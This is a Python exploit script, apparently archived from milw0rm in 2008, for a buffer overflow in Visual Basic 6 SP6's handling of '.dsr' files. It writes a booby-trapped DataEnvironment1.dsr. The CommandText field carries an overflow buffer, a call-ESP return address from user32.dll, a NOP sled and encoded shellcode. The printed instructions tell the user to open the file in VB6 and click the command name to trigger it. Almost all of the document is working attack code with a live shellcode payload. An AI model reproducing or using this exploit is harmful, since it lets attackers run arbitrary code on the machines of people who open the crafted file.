111 lines
4.5 KiB
Python
Executable file
111 lines
4.5 KiB
Python
Executable file
#usage: exploit.py
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print "-----------------------------------------------------------------------"
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print ' [PoC 2] MS Visual Basic Enterprise Ed. 6 SP6 ".dsr" File Handling BoF\n'
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print " author: shinnai"
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print " mail: shinnai[at]autistici[dot]org"
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print " site: http://shinnai.altervista.org\n"
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print " Once you create the file, open it with Visual Basic 6 and click on"
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print " command name."
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print "-----------------------------------------------------------------------"
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buff = "A" * 555
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get_EIP = "\xFF\xBE\x3F\x7E" #call ESP from user32.dll
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nop = "\x90" * 12
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shellcode = (
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"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
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"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
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"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
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"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
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"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"
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"\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x44\x4e\x43\x4b\x38\x4e\x47"
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"\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x48\x4f\x54\x4a\x41\x4b\x38"
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"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x48"
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"\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c"
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"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"
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"\x46\x4f\x4b\x43\x46\x35\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x58"
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"\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x48\x4e\x30\x4b\x44"
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"\x4b\x48\x4f\x35\x4e\x41\x41\x30\x4b\x4e\x4b\x38\x4e\x51\x4b\x38"
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"\x41\x50\x4b\x4e\x49\x38\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"
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"\x42\x4c\x46\x46\x4b\x48\x42\x34\x42\x33\x45\x38\x42\x4c\x4a\x47"
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"\x4e\x30\x4b\x38\x42\x34\x4e\x50\x4b\x58\x42\x47\x4e\x41\x4d\x4a"
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"\x4b\x58\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x48\x42\x48\x42\x4b"
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"\x42\x30\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x55\x41\x33"
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"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x37"
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"\x42\x55\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x35\x4a\x36\x4a\x59"
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"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x56"
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"\x4e\x46\x43\x56\x50\x32\x45\x46\x4a\x37\x45\x36\x42\x50\x5a"
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)
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dsrfile = (
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"VERSION 5.00\n"
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"Begin {C0E45035-5775-11D0-B388-00A0C9055D8E} DataEnvironment1\n"
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" ClientHeight = 6315\n"
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" ClientLeft = 0\n"
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" ClientTop = 0\n"
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" ClientWidth = 7980\n"
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" _ExtentX = 14076\n"
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" _ExtentY = 11139\n"
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" FolderFlags = 1\n"
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' TypeLibGuid = "{D7133993-3B5A-4667-B63B-749EF16A1840}"\n'
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' TypeInfoGuid = "{050E7898-66AC-4150-A213-47C7725D7E7E}"\n'
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" TypeInfoCookie = 0\n"
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" Version = 4\n"
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" NumConnections = 1\n"
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" BeginProperty Connection1\n"
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' ConnectionName = "Connection1"\n'
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" ConnDispId = 1001\n"
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" SourceOfData = 3\n"
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' ConnectionSource= ""\n'
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" Expanded = -1 'True\n"
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" QuoteChar = 96\n"
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" SeparatorChar = 46\n"
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" EndProperty\n"
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" NumRecordsets = 1\n"
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" BeginProperty Recordset1\n"
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' CommandName = "Command1"\n'
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" CommDispId = 1002\n"
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" RsDispId = 1003\n"
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' CommandText = "' + buff + get_EIP + nop + shellcode + nop + '"\n'
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' ActiveConnectionName= "Connection1"\n'
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" CommandType = 2\n"
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" dbObjectType = 1\n"
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" Locktype = 3\n"
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" IsRSReturning = -1 'True\n"
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" NumFields = 1\n"
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" BeginProperty Field1\n"
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" Precision = 10\n"
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" Size = 4\n"
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" Scale = 0\n"
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" Type = 3\n"
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' Name = "ID"\n'
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' Caption = "ID"\n'
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" EndProperty\n"
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" NumGroups = 0\n"
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" ParamCount = 0\n"
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" RelationCount = 0\n"
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" AggregateCount = 0\n"
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" EndProperty\n"
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"End\n"
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'Attribute VB_Name = "DataEnvironment1"\n'
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"Attribute VB_GlobalNameSpace = False\n"
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"Attribute VB_Creatable = True\n"
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"Attribute VB_PredeclaredId = True\n"
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"Attribute VB_Exposed = False\n"
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)
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try:
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out_file = open("DataEnvironment1.dsr",'w')
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out_file.write(dsrfile)
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out_file.close()
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print "\nFILE CREATION COMPLETED!\n"
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except:
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print " \n -------------------------------------"
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print " Usage: exploit.py"
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print " -------------------------------------"
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print "\nAN ERROR OCCURS DURING FILE CREATION!"
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# milw0rm.com [2008-04-04]
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